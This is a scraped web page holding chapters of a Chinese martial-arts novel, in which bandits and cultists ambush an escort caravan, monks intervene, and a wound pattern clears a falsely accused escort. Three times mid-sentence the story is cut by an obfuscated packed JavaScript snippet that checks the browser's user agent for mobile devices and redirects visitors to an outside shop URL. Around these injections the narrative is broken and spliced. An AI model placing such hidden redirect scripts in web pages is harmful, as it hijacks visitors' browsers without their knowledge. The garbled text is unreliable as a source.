闻八荒虽然右肩被雨馀凉刀柄击中,双臂又被铁锏剧震,却也变招奇速,接连挥动双锏,狂风骤雨般向雨馀凉攻来。 姬花青在网中看得真切,又道:“右臂回缩,待他招式使老就刺他……就是现在!刺他咽喉!左手击他胸口,拳或掌皆可!”闻八荒听得姬花青说待自己招式使老就要怎样,于是干脆不把一式使全,中途就迅速变招,但姬花青也将这一切看在眼里,根据情况快速想出了应对方式。 闻八荒这一招未使完,又被雨馀凉的刀招逼了回去,他左腿高抬,直踢雨馀凉面门,雨馀凉正想侧头躲开,姬花青的声音便传来:“不用躲,直接用斩风诀第七式第十三种变化,攻他身体任何一处都可。”其实以眼下的情形,自是攻闻八荒腹部效果最好,但闻八荒也在一招一式间暗暗将腹部层层护住,对雨馀凉来说,要攻闻八荒腹部有些难度,说不定还会弄巧成拙,姬花青便让他随便攻击哪个部位都可,虽达不到那么好的效果,但斩风诀招式巧妙,也够闻八荒喝上一壶。 雨馀凉听到“斩风诀”三字,心里一凛,这是姬花青刚教他不久的刀法,自从之前在神医萧吞那跟姬花青提起自己想学斩云诀后,姬花青之后便将斩云诀、斩风诀、斩雷诀这无涯三诀都教给了他。这三路刀法跟雨馀凉此前所学的任何刀法都不一样,变化繁复得多,招式精妙得多,接触了这几路刀法后,雨馀凉觉得自己似乎已初步窥到了上层武学之门。 雨馀凉毕竟初学,再加上这三路刀法本身就不简单,所以很多变化雨馀凉记得并不牢固,巧的是姬花青让他使的斩风诀第七式第十三种变化,刚好是他记得的,假设换成第十二种或第十四种变化,雨馀凉要么似是而非要么就是一点印象都没有,姬花青就得另想招式让雨馀凉使出。 然而雨馀凉心里还是有些发怵,眼见闻八荒那一脚就要向自己面门踢来,雨馀凉本能地想躲,但他还是选择了相信姬花青,硬着头皮使出了斩风诀,朝闻八荒的左脚斩去。 闻八荒听姬花青不让雨馀凉避开他这一脚,心里也疑惑姬花青到底是在想什么,依旧踢向雨馀凉的头脸,不想自己的脚离雨馀凉还差着几寸时,眼前白光先闪,他要是继续向前踢去,雨馀凉的刀刃势必就会先斩下他左脚,闻八荒赶紧将脚收回。也是雨馀凉对这斩风诀还不熟练,如果继续施展开来,就算闻八荒及时收脚,也会连脚带腿给这刀法切成几段。 闻八荒看着自己完好的左脚,兀自心有余悸,姬花青又道:“敌不动我动,主动进攻,举刀前刺。” 雨馀凉闻言,又挺刀朝闻八荒刺去,闻八荒大喝一声,也举锏相迎。 本来,闻八荒的武功不知比雨馀凉高出多少,临敌经验也远比雨馀凉丰富,但有姬花青在旁边辅助,雨馀凉虽然打得磕磕绊绊,却硬是和闻八荒走到了十数招。 有时姬花青本想让他用某一路刀法的某一招,但江湖上真正的打斗拼杀,为了不给对方反应的机会,双方出招都是极快,雨馀凉在手忙脚乱之间,便使出了另一路刀法的另一招,有时没能刺中闻八荒,反而差点被闻八荒的铁锏砸中,幸而雨馀凉如今积累了一定经验,也能堪堪躲过,只是被铁锏擦破一点皮;有时却阴差阳错刺中了一开始没想刺的闻八荒的身体部位,每当这个时候,姬花青都会说:“……也行。”然后重新开始组织思路,指挥雨馀凉接下来的出招。 但雨馀凉之后越打越顺手,有时姬花青还没开口,雨馀凉便已率先用出招式,有些招式跟姬花青想让他使出的一样,有些招式则跟姬花青想到的不同,但也同样或拆解了闻八荒的招式,或挡住了他的来招。 闻八荒眼见已在这里耗费了太多时间,不仅挂心着另一边孙六合等人与镖队的战局,也担心孙六合回去后以此事嘲讽自己连雨馀凉这么个小孩都收拾不下来,心想,要走出眼下的困境,就要先让姬花青闭嘴。 于是闻八荒一个纵身,抡锏便要向姬花青砸去,不想左脚被雨馀凉抓住,雨馀凉往后一拖,闻八荒整个身子便落了下来。 闻八荒怒道:“臭小子!”另一条腿当即就朝雨馀凉踢去,啪啪数声,雨馀凉以左手将闻八荒连续几脚的力道卸去,又举刀上撩。 闻八荒见状沉锏下砸,刀锏就要相触时,闻八荒忽感脖子斜后方一凉,他赶紧伸脚在巨石上一蹬,在空中转身回首看去,只见叶小暑赶到,手中握着一柄两尺来长的短直刀。 先前叶小暑正和三乌寨的匪徒缠斗,之后又见魔教中人到来,他和秦总镖头,以及苗白二镖头虽然尚属冷静,但镖局其他人,尤其是趟子手和伙计已逐渐乱了阵脚,镖局这边有不少人都受了伤,战力逐渐减少,而战力越少,就有越多的人受伤,战力变得更少,眼见那些贼人就要冲破镖师围成的圈子接触到镖车,叶小暑心急如焚,明白这样耗下去是不行的了,他明白自己这一走,镖队又会少一个战力,但不能犹豫了,必须先腾出时间把姬花青救出来,只要姬花青能出来,说不定就能反转当前的局势。 叶小暑思定,挥动短刀,一路披荆斩棘来到吊桥口巨石旁,朝着闻八荒后颈就挥出一刀。 闻八荒也算敏锐,当即脚蹬巨石飞出,同时避开了雨馀凉和叶小暑两人的攻势。 孙六合察觉了叶小暑的谋划,他所最担心的,也是姬花青从网中出来,当即分派了几个匪徒过去那边协助闻八荒,于是局面变成了雨馀凉和叶小暑双斗闻八荒和数名匪徒。 叶小暑年纪极轻就当上了镖头,武功的确了得,先前雨馀凉在姬花青的指点下才能勉强和闻八荒有来有回地过招,此刻叶小暑一来,两人便能跟闻八荒加上几名匪徒斗个旗鼓相当,并且雨馀凉感到比方才自己独斗闻八荒轻松多了。雨馀凉也确信了叶小暑说自己来自沧阆派没有说谎,因为他从叶小暑使短直刀的招式中看到了一些万克礼使匕首的影子。 但在孙六合的命令下,越来越多的匪徒来到这边,雨馀凉和叶小暑逐渐感到吃力起来,闻八荒也越斗越悍勇,突然右臂一掩,趁叶小暑正与五名匪徒相斗时,一锏朝叶小暑后脑勺砸去。 雨馀凉见这一下叶小暑将有性命之虞,忙扑上去以长刀卸开闻八荒这一锏,但闻八荒的那对铁锏本就是十分沉重的兵器,再加上闻八荒此人内力不可谓不强劲,雨馀凉虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992982|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也成功卸开了这一锏,但虎口被震得一下迸裂,长刀啪嗒一声落在地上。闻八荒右锏被卸开,当即左锏挥下,径朝雨馀凉砸来。 叶小暑闻声忙回过头去,知道雨馀凉是为救自己兵刃脱手,身处险境,忙回身去救雨馀凉,这样一来,他后背就完全暴露在了群匪面前,数种兵刃,纷纷向他后背刺去。姬花青看得心急,拼命撕扯着将自己困住的大网,千钧一发之际,只听得啊啊数声惨叫,那些兵刃还没刺中叶小暑,使兵刃的匪徒就已扑倒在地。 那些匪徒身后,苗镖头维持着双手持握苗刀的姿势,道:“叶镖头,可别死了啊。” 叶小暑见苗镖头赶到,先是嘴角微弯,随后道:“不找到舅舅,我是不会死的!” 苗镖头道:“那些魔教的龟孙子,老子还以为有多厉害,结果就这?”他刚用自己手上这把苗刀砍倒了数名黑衣人,此时看向闻八荒道:“你来给我当下一个?” 闻八荒道:“别太嚣张,我……”话还没说完,众人只觉一阵阴风刮过,道旁的树被吹得哗哗作响,一人挟着一股劲风从树冠后跃出,身后还跟着数十人。那人落在大道上,对秦椿道:“秦总镖头,别来无恙。” 孙六合、闻八荒等众匪一见那人,纷纷单膝跪地,道:“恭迎寨主!” 雨馀凉见那人五短身材,看上去约莫三十来岁,心想:“难道这就是他们所说的什么三乌寨寨主?” 秦椿身上已沾满了血迹,这些血有敌人的,也有他自己的,但大部分是敌人的,他将气息平复下来,对皮逻宗道:“我秦椿,向来对皮寨主礼敬有加,但眼下的情形,究竟是怎么回事?还请皮寨主给我一个解释!” 皮逻宗听秦椿如此说,额上青筋暴出,道:“我还没说什么,秦总镖头反倒先质问起我来了?秦总镖头装糊涂,要我亲口说出来是不是?好,那你听好,我三乌寨的三当家窦飞,是你们镖局的人所杀,我对你们镖局的所作所为,全是要为我窦兄弟报仇。” 秦椿听了,脸上失色,道:“什么?三寨主他……他被杀啦?” 皮逻宗见秦椿这个反应,气极反笑,道:“秦总镖头,你这么好的演技,不去台上演戏,真是太可惜了。” 秦椿忙道:“皮寨主,这中间怕是有什么误会,你等我将这趟镖押完回来,到那时我也不再接生意了,我和皮寨主一同查清真相,查清究竟是谁暗害了三寨主!” 皮逻宗道:“好,呵呵,好。” 秦椿欣喜道:“您答应了?” 下一刻,皮逻宗甩出链枪,同时足下一抵,高高向上纵跃而起,道:“你下地府查去吧!” 电光石火之间,忽有三枚钢叉从侧面飞来,那三枚钢叉极小,精准地打在链枪不同的三个位置上,皮逻宗只觉一股大力袭来,生生将链枪从自己手中扯了出去,枪柄从手中滑脱,还将自己的手掌磨得火辣辣地疼。 啪的一声,那三枚钢叉将皮逻宗抖开的链枪一下钉在了道路另一侧的树上,三枚钢叉同时钉上树干,竟只发出一声。那链枪很长,所以三枚钢叉分别钉在三棵树的树干上,那链枪就如一条长蛇般吊在三棵树上。 在场之人包括姬花青,见了这手暗器功夫无不心惊,皮逻宗侧头看去,喝道:“谁?”只见一棍当头打来,三招过后,皮逻宗便被对方拿下。 其余匪徒见状,先是一愣,随后拿起各自的兵器朝那使棍之人攻去,那使棍之人身后却走出了四名同样使棍的汉子,只这四名汉子,不一会的功夫,便将这数十名匪徒连同魔教的黑衣人一起拿下,并用绳子捆在了一处。 这五名汉子棍法十分精妙,只是他们头顶没有一根头发,看他们穿着,应该是五名和尚。 虽不知道这五人是谁,也不知他们为什么会突然出现帮镖局料理了三乌寨众匪,但他们的出现对鸿羽镖局来说无异于神兵天降,秦椿大喜过望,上前对当先的那名和尚拱手行礼道:“多谢这位师父。” 领头的和尚看上去有三十来岁,眉目清秀,身形劲瘦。他一手持棍,一掌竖在胸前,对秦椿低头行礼,道:“施主客气了,贫僧灵果寺正觉,是为剿灭魔教中人而来。” 51. 论武(一) 秦椿道:“哦?剿灭魔教之人?” 正觉道:“正是,敝寺得到消息,说魔教中人在这附近出现,方丈便着贫僧带着几名师侄前来剿魔。” 秦椿心想:“原来不是路过,也不是特意来帮我鸿羽镖局,而是来杀灭魔教教众的,三乌寨这次和魔教联手,却反倒帮了我们镖局。”当即问道:“不知宝刹与那魔教有何怨仇?” 正觉道:“魔教妖魔,人人得而诛之。” 他这么说,秦椿反倒不好再说什么了,但正觉又道:“不过敝寺与魔教确有些宿仇。”他看向地上的三乌寨众匪,“这些贼人,我们要带回寺中好好审问,镖局的诸位施主若没有其他事,贫僧这便将他们带回灵果寺,就不耽误镖局的各位施主行镖了。”说着就要对几个师侄进行吩咐。 秦椿忙叫住正觉道:“正觉师父!” 正觉彬彬有礼道:“施主还有什么事么?” 秦椿道:“这些……这次三乌寨来袭击镖队,我想向他们问清楚原因,不知可否让镖队跟诸位师父同去宝刹?何况他们人多,师父们要怎么将这么多人运上宝刹?镖队有马骡牲口,也有镖车,运人也方便些,不知诸位师父意下如何?” 正觉本来打算自行雇车将三乌寨众匪运回灵果寺,确实多有不便,听秦椿这样说,道:“既如此,便给施主添麻烦了。”秦椿正要说不麻烦,应该是他们镖队麻烦贵寺才是,正觉又道:“正好敝寺有一位客人,应当是秦施主的熟人,秦施主来到敝寺,也可与他见面。” 秦椿心想,熟人? 另一头姬花青还被挂在巨石上方欲哭无泪,心道:“你们是不是忘了还有个人?我的腿已经麻到失去知觉了……能不能来个人放我下来?” 就在姬花青这么想时,雨馀凉在下面对叶小暑和苗镖头道:“叶镖头,苗镖头,能请你们二位帮帮忙么?我们一起把花青前辈放下来。” 姬花青被雨馀凉感动得一塌糊涂。 可三个人对这个陷阱研究了很久,什么方法都试过了,包括三人一起用力拉扯连接着网的绳子,苗镖头甚至拔出自己的刀去割绳子,都无济于事。 苗镖头汗都出来了,道:“妈的,这陷阱是怎么回事?像这种把人吊树上的陷阱往回我也遇到过不少,怎么这次就解不开了?” 雨馀凉道:“解铃还须系铃人,看来我们只有去问三乌寨的人了。” 于是雨馀凉来到秦椿跟前,说明了困住姬花青的陷阱解不开的情况。 秦椿听了雨馀凉所说,这才想起姬花青还被吊在巨石上,于是亲自向被绑在一起的群匪走去。他一开始本来是想去问问皮逻宗,但又想了想,觉得皮逻宗未必知道,于是转向闻八荒,问道:“这位头领,请问那边桥头巨石的陷阱,要怎么把人放出来?” 闻八荒不答,只闭上眼把头偏向一边。 苗镖头伸脚轻轻踢了踢闻八荒的脑袋,道:“喂,问你呢,那陷阱怎么解开?” 闻八荒本来依旧不想开口,但自己现在是阶下囚,武功又远不如那些和尚,想着好汉不吃眼前亏,于是暴躁道:“我不知道,你问他!”说着看向孙六合。闻八荒是真不知道怎么解,他只知道那玩意儿一拉绳子就会有一张网从天上降下来将人包住,但他回答完苗镖头后,觉得自己的神色语气就像是知道但故意不说一样,容易让人误会,于是又放低了语气补充道:“陷阱都是他设的,我真不知道怎么解。” 于是众人又看向孙六合,孙六合也将解开陷阱的方法实打实说了。众人依照孙六合的说法,总算将姬花青放了下来。 姬花青双脚终于沾了地,将脚伸直之前,她竟有些害怕,最终咬咬牙将自从被困入网中就维持着一个姿势的腿打直后,姬花青觉得那股铺天盖地袭来钻进双腿的麻意简直能把她送走。 然后众人出发,随僧人正觉一同去往灵果寺。 闻八荒和孙六合背靠着背捆在一起,两人一同被塞进了一辆骡车里面。 闻八荒心想,不仅他们两人被抓,还连累皮逻宗也被抓,越想越气,再也忍不住,对孙六合骂道:“你想的蠢办法!” 闻八荒说的这话太刺耳,孙六合听了也怒道:“少在这事后诸葛!你既然觉得这办法蠢,当初为什么不反对到底?你当初既没反对,就说明你认同这蠢办法,那么你也蠢!你要是当初就不认同,却还不提出反对意见,就说明你比这蠢办法还蠢!” 闻八荒听了气得差点背过气去,却也想不出反驳之言,只能扭过头去生闷气。 孙六合用一番话将闻八荒的嘴堵上后,心里却在想,看秦椿的表现,似乎三当家的死真的跟他没关系,不说没关系,至少他并不知情。 难道这其中另有隐情? 颠簸一程,众人来到一座山寺前。 早上从茶芫镇出发的时候还在下雨,中途雨停了一阵,众人进到灵果寺时,又下了起来。 这是座绿荫森森的寺庙,庙里庙外都是参天大树,寺庙虽然规模不大,但胜在幽静精致。 知客僧见正觉回来,便进去通报方丈,正觉领着众人,绕过大殿,来到后边禅房,一个须眉皆白的老僧迎上前来,双手合十道:“阿弥陀佛,老衲见过诸位施主。” 众人一一还礼,正觉对那老僧道:“方丈师兄,这位就是鸿羽镖局的总镖头秦椿秦施主。” 那老僧转向秦椿道:“老衲早闻秦总镖头和鸿羽镖局大名,今日终于得见,果然气度不凡。” 秦椿忙道:“正悲方丈过奖了,灵果寺诸位高僧精研佛法,造诣颇深,秦某早该来拜会的。”秦椿虽从未见过灵果寺方丈,却也听说过这位方丈法名叫做正悲。 正悲方丈将众人请入禅房,秦椿甫一踏入禅房,便听得有人叫道:“秦叔叔!” 秦椿一惊,不可置信地看着正坐在椅上喝茶的年轻公子,道:“玉贤侄?你怎么在这?” 众人一一坐定,早有知客僧上来奉茶,正悲笑着解释来龙去脉:“这位玉施主,以及玉施主的父亲玉老施主,是常来我们灵果寺进香的香客。今儿早上玉施主急急忙忙来到我们寺中,说三乌寨与魔教联手,要劫鸿羽镖局的一趟镖,于是老衲便派了师弟正觉,几个徒弟募清、募风、募明、募月前来相助。” 玉剑不好意思地挠挠头道:“秦叔叔走后,我想到贼人这次有魔教相助,越想越不放心,突然想到灵果寺的诸位高僧佛法、武功俱佳,便想着请他们来助镖局一助,同时也让灵果寺的诸位能够报得大仇。” 先前姬花青还被吊在网中时,便隐约听得正觉说灵果寺与玄同教有宿仇什么的,此刻又听玉剑说“报得大仇”,不禁心下疑惑。 正悲方丈又与秦椿寒暄几句,随后正觉向正悲汇报了这次下山剿魔的经过,如何与镖局众人相遇,镖队又如何帮他们把三乌寨众匪以及魔教妖人运上山等,都一一说与正悲听了。 正悲点点头,道:“好,辛苦师弟了,着人将皮逻宗皮施主,和他的几个亲信手下,以及领头的魔教妖人带到这来,老衲要问问他们是怎么牵上线的,为什么要劫鸿羽镖局的这趟镖,另外,秦总镖头也有问题要问他们。” 片刻后,皮逻宗等人被带到禅房中来,领头的那魔教中人面罩已被扯了开去,秦椿觉得他有些眼熟,但一时想不起在哪见过。 正悲道:“阿弥陀佛,皮寨主,真没想到以这种形式见面。” 皮逻宗冷冷道:“少废话,我姓皮的技不如人,今个儿认栽,要杀要剐,悉听尊便吧。” 正悲叹道:“皮寨主向来颇有令名,敝寺又怎会专门来跟皮寨主为难?” 雨馀凉心道:“三乌寨里都是山贼强盗吧?山贼强盗又何来‘令名’一说?” 雨馀凉正这么想,皮逻宗就嘿嘿笑道:“令名?大和尚说出这话自己不觉得好笑么?我是专门打家劫舍的强人,担不起这‘令名’二字。” 正悲又念了一句佛,道:“皮寨主虽占山为王,但从不戕害平民百姓,不仅如此,皮寨主还将以往在鸿州附近无恶不作的强盗赶的赶,杀的杀,为百姓除去了大害,这些敝寺都是知道的。” 皮逻宗不再说话。 正悲道:“只是敝寺与那魔教有不共戴天的血仇,所以老衲想问皮寨主,三乌寨是怎么跟那帮妖魔搭上桥的?又为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦椿见众人的目光都顺着周新的手指一时落在自己身上,道:“这也正是秦某想破脑袋也想不明白的地方,秦某对三乌寨和皮寨主向来只有尊敬的份,礼待还来不及,又怎会平白无故去杀三乌寨的人呢?不知三乌寨的各位是在凶案现场发现了什么指向秦某的线索,还是有人对各位说此事是秦某所为,怎么一上来就都说秦某是杀人凶手?” 皮逻宗看向墙角道:“谁知道他心里打的是什么主意?他既遣人送来了拜山礼,那我也不动他的镖,可此人当面一套背后一套,暗地里又来杀我三乌寨的人,简直卑鄙无耻至极。”他这话虽听上去是在对秦椿说,可一直都用“他”而不是“你”,可见皮逻宗对秦椿已厌恶至极,根本不想和后者正面交流。 姬花青道:“秦总镖头送来拜山礼,三乌寨收了也送了回礼,是不是就代表从今往后三乌寨再不去劫鸿羽镖局的镖,大家相安无事?” 孙六合道:“绿林道上的规矩,是这样没错。” 姬花青又道:“既然已经与三乌寨交好,那么杀了这位三寨主,对鸿羽镖局有什么好处?杀了三乌寨的人,却换来自己往后走镖再无安生日子,若真是秦总镖头做的,他图什么呢?” 皮逻宗等三乌寨的人听了这话,心里也都疑惑:“是啊,反正他们三乌寨也保证过不会动鸿羽镖局的镖,杀一个三寨主,对秦椿又有什么好处?”皮逻宗虽想不通这事,但仍是道:“那么他必有什么不为外人所知的目的,也许在别人看来他这一行为匪夷所思,可在他自己看来,说不定已经是损失最小的办法了。” 苗镖头怒道:“跟你说不清楚了是吧?”他看向正悲,道:“老方丈,这姓皮的心里已经认定人是我们镖局杀的,跟他说什么都没用了。” 正悲道:“皮寨主竟如此肯定是秦总镖头所为,那么一定是有十分明确的证据了?” 皮逻宗道:“不错!” 秦椿道:“什么证据?” 皮逻宗道:“三弟的尸体旁掉落了一把小刀,那小刀不是三弟之物,却有人在秦椿身上看到过。还有三弟身上的伤口,只有水西沧阆派的武功才能造成那样的伤口,据我们所知,这鸿州地界并无沧阆派的人,倒是秦椿的鸿羽镖局正好有一名来自水西的镖师叶小暑,之后我们再一加调查,发现叶小暑正是师从沧阆派!” 听见矛头骤然指向自己,叶小暑道:“啊?” 52. 论武(二) 叶小暑怎么也没想到,自己还成为这件事的当事人了。 他道:“难道你们的意思是说,你们的三当家,是我杀的?” 皮逻宗道:“没错,三弟身上只有一处伤口,而那处伤口刚好是是致命伤,正是沧阆派武功所留下的。” 叶小暑道:“皮寨主,您是不是太高看我了?先不说我能不能在一招之内打赢你们三当家……我和你们三当家无冤无仇,我甚至都不认识你们三当家,杀他干嘛?” 皮逻宗道:“是秦椿想杀三弟,你只是个执行者。秦椿以为,让一个武功跟他大不一样的人来杀三弟,我们就查不出是他干的了,可惜他百密一疏,将自己的小刀遗留在了现场。” 苗镖头啧了一声,道:“瞧你说的,好像是你亲眼看到了整个过程似的。”他转向正悲,大拇指指着皮逻宗道:“老方丈,这人怕是有失心疯,脑子里会出现妄想,还会把妄想当真。” 闻八荒对苗镖头喝道:“喂,你放尊重些!” 姬花青道:“那伤口的具体形状是怎样?三乌寨的各位可记得?” 闻八荒道:“记得,那伤口的样子,让人看了一眼就难以忘记。” 姬花青道:“各位可否画出来?” 叶小暑听姬花青这么说,心中一动,隐约知道姬花青要以何种方式证明人不是自己杀的了。 闻八荒道:“画出来干什……”孙六合道:“可以。” 于是姬花青请正悲命僧人拿来纸笔,又让给孙六合松了绑,孙六合画好后,道:“我不会画画,只能画出那伤口的大致形状,若要画得逼真,那是做不到了。” 姬花青将孙六合的画拿起来仔细瞧了瞧,微笑道:“孙头领画得很好,有这大致形状已经够了。”她忽然朗声道:“各位,光凭这幅画,就已经能判断出杀死三乌寨三当家的绝不是鸿羽镖局的叶镖头。” 秦椿面露喜色,道:“这其中有何玄机?还请姬姑娘明示。”秦椿现在最急切想要达到的目的,就是洗清自己身上的冤屈,解开与三乌寨之间的误会,但无论自己怎样解释,皮逻宗都一口咬定人是自己杀的,况且自己的的确确在前段时间丢失了一把小刀,正满心愁绪时,忽听姬花青如此说,简直有如阴云密布的天空突然露出一条罅隙,天光从罅隙中射进来一般。 姬花青对秦椿报以一笑,先不回答他的问题,而是转头问正悲道:“敢问贵寺可有废弃的木头?” 正悲摸着胡须笑道:“都是好木头,哪里有废弃的木头,不过女施主要木头,敝寺拿出几块又何妨?”遂命僧人去柴房取木头。 木头取来后,姬花青挑了一块出来,对叶小暑道:“叶镖头,就请你用自己的短直刀对着这块木头使出贵派鹿蜀刀法的最后一式。” 叶小暑答应了,运气出招。沧阆派是一个十分古老的门派,叶小暑的出招动作质朴苍劲,又带有一种古意盎然的美感,啪的一声响后,木屑飞溅,那木块上出现了跟孙六合所画的图布局相近具体形状却不同的纹路。 姬花青将画和木块分别用左右手举起,在禅房中走了一圈道:“各位请看,这两种纹路是否相同?” 众人纷纷看去,只见木块上的纹路如冰裂一般,再看孙六合的画,那画上的形状却更为弯曲,与缠枝花更为类似。 皮逻宗道:“两种纹样不同,所以呢?” 姬花青微笑道:“所以贵寨三当家的死不是叶镖头所为。” 皮逻宗冷笑一声,道:“你把我当傻子糊弄?他换一种出手方式留下的印记不就是另一个形状了?” 姬花青道:“若换作其他门派,倒也真的说不准,但沧阆派有些特殊。” 皮逻宗道:“特殊?有何特殊?” 姬花青笑道:“哎哟,这儿就有一个沧阆派弟子,我就不班门弄斧了,叶镖头,就请你说说此中原委吧。” 叶小暑道:“沧阆派有两种内功修炼方式,两种方式各有利弊,然而弟子一旦选择其中一种修炼方式,就永远不能再修炼另一种内功,只因两种内功互不相容,若强行修炼,便会走火入魔暴毙而亡。孙头领所画纹样是我沧阆派其中一种内功加持在招式上所留下的,同一种招式,以不同的内功加持,便会产生这两种相似但不相同的纹路。沧阆派的祖师根据两种内功所留下的印记起名,所以这两个流派便叫‘缠枝’和‘裂冰’。” 姬花青道:“所以,叶镖头不仅现在不能在贵寨三当家身上留下这种纹样,将来永远也不能。”先前叶小暑出手打架时,姬花青就注意到叶小暑的流派应该是裂冰,所以便想到以这种方式来证明鸿羽镖局的清白。也幸好那真正的凶手是沧阆中的缠枝流派,否则还真的难以在短时间内说清楚。 皮逻宗道:“那把小刀又怎么解释?那可确确实实是秦总镖头的东西。” 雨馀凉道:“伪造成是叶镖头杀人的现场却恰好出现了秦总镖头的东西,凶手的目的难道不就是栽赃给鸿羽镖局,自己好逍遥法外吗?” 孙六合道:“这样说来,凶手也是水西沧阆派的人,可他既身为沧阆派的人,应该很清楚两个流派的这种区别才对,若是以留在尸体上伤口的形状栽赃,岂不是很容易露馅?” 姬花青道:“他们应该是匆忙之中才决定栽赃给鸿羽镖局,而鸿羽镖局恰巧被选择为栽赃对象的原因也只是因为有叶镖头这个和凶手同样师从沧阆的存在。至于两种流派的区别问题,要么是他们没想那么多,要么是就算想到了这点,他们也觉得,以皮寨主的暴烈性子,根本不会想到沧阆的流派之分,而是直接了当地取了秦总镖头的性命,那么真相就永远埋在土里了。” 禅房中,众人一时无话。 秦椿对皮逻宗抱拳道:“皮寨主,我秦椿对天发誓,三寨主的死确与我没有一点关系,等秦某这趟镖押到临蓟,一回到鸿州,秦某立即就同皮寨主一起寻找杀死三寨主的真凶。他既栽赃到我们镖局头上,我鸿羽镖局也不能任由他欺负。” 皮逻宗低头沉默半晌,突然抬起头道:“好,秦总镖头,那就祝你顺利平安归来。” 正悲道:“这么说,是误会一场了。阿弥陀佛,给三乌寨的几位施主松绑吧。” 绳子被解开后,皮逻宗道:“皮某告辞了。”说罢对秦椿也是一抱拳,紧接着转身大步流星离去,孙六合、闻八荒以及周新跟随其后。 三乌寨众人离开后,募月道:“这个皮寨主,虽然跟一般的强人不同,倒也是个绿林好汉,却过于鲁莽急躁了。” 正觉瞪了他一眼,道:“募月,怎可背后语人是非?” 募月一惊,知道自己失言,忙躬身道:“弟子知错。” 解决完一桩事,秦椿、玉剑等人心里很是高兴,正悲却叹了口气道:“好不容易得到一点魔教的消息,结果是假的,灵苦大师的仇不知何时能报?” 姬花青听正悲这么说,实在按捺不住,道:“方丈大师,在下斗胆,想问问您灵果寺与……魔教究竟有什么仇怨?” 正悲看着禅房门外,雨水从屋檐上如瀑布般淌下,道:“敝寺与魔教的仇恨,不在我们这一辈。” 姬花青道:“哦?” 白翡姑道:“是你们上一辈吗?” 正悲道:“也不是,魔教与敝寺结仇,是在一百多年前。” 禅房中人都不约而同发出了轻呼。 那真是很久很久之前的事了。 秦椿道:“一百多年前到底发生了什么?” 正悲道:“诸位施主知道裴秉延吗?” 苗镖头道:“裴秉延?知道,当年就是他一手创立了魔教。” 正悲点点头,道:“敝寺的仇,正是百年前与裴秉延结下的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014507|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苗镖头道:“他灭你们灵果寺全寺了?然后你们是侥幸躲过灭寺惨案的僧人的徒子徒孙?你们的师父让你们把仇恨一代代传递下去,因为他们的师父也是这样教他们的?” 秦椿实在忍无可忍,喝道:“苗镖头!” 苗镖头闭嘴了。 不过苗镖头这么说后,在场的绝大多数人都觉得事实说不定就是苗镖头说的那样,因为这实在太符合裴秉延的作风了。裴秉延活着的时候灭了不少帮派教盟满门,是个血债累累的大魔头。 正悲道:“倒也不是像这位施主所说,一开始,是那魔头的妹妹和妹夫抱着孩子来到我们寺中,两人都像是受了伤,说想在寺中借住一段时间养伤。寺中的僧人不知道这两人的身份,出家人以慈悲为怀,丝毫没有犹豫地就答应了。后来有僧人无意间听到二人谈话,只听那男的说什么你哥哥是玄同教主,那名僧人一听这话大为怖惧,当即汇报给了当时的方丈灵苦大师。” “灵苦大师听了后也很震惊,魔教中人在江湖上人人得而诛之,灵苦大师说什么也不能将他们放出去再祸害其他武林同道,当机立断将这对夫妻连同他们尚在襁褓中的孩子扣在了寺中。这个过程也不容易,听师父说当时那妖女打伤了我们不少僧人,但终究体力不支,被我们寺的僧人软禁在了禅房中。” “不想第二天晚上,裴秉延那大魔头便踏月而来,只身出现在我们灵果寺中,一路上的武僧都被他打倒在地。那魔头武功实在了得,没人拦得住他,不一会便来到了关着他妹妹妹夫的禅房外面,也没见他怎么动作,只听见砰的一声巨响,原本被锁住的房门大开,那妖女的声音从房内传来:‘哥哥!’” “之后那魔头道:‘灵苦老儿人不错,于佛法也有些独到的见解,看在他的面子上,我不为难你们。’于是僧人们只能眼睁睁地看着那魔头带着人离去。那魔头走后差不多过了一盏茶的时间,突然有个小沙弥惊慌失措地过来,说灵苦大师圆寂了,是被人谋害的,灵果也不见了,想是一并被人夺去了。我灵果寺的灵果是上等宝物,那魔头前来寺中,竟起了歹意,干出这等杀人夺宝之事!” 正悲声音越发激动:“灵苦大师于佛法领悟极深,圆寂前还在注解经书。他一生慈悲为怀,还叮嘱众僧不可为难那魔头的妹妹妹夫,不想他对佛经的深刻见解还没能流传于世间就失了性命,于我佛门也是一大憾事。裴秉延这恶贼,我灵果寺代代僧众与他不共戴天!就算在他活着的时候没能报仇,我们早晚也要找玄同教算账!” 姬花青突然道:“当时有人亲眼看见裴秉延杀了灵苦大师吗?” 方丈一愣,道:“没有。”他接着道:“不过当时寺中外人只有裴秉延,且那大魔头素来心狠手辣,满手鲜血,是他绝不会错。” 雨馀凉道:“裴秉延不是说,正是看在灵苦大师的面上,这才不为难灵果寺众僧吗?且听他言语,对灵苦大师倒是有些尊重,怎会转头就将灵苦大师杀死呢?” 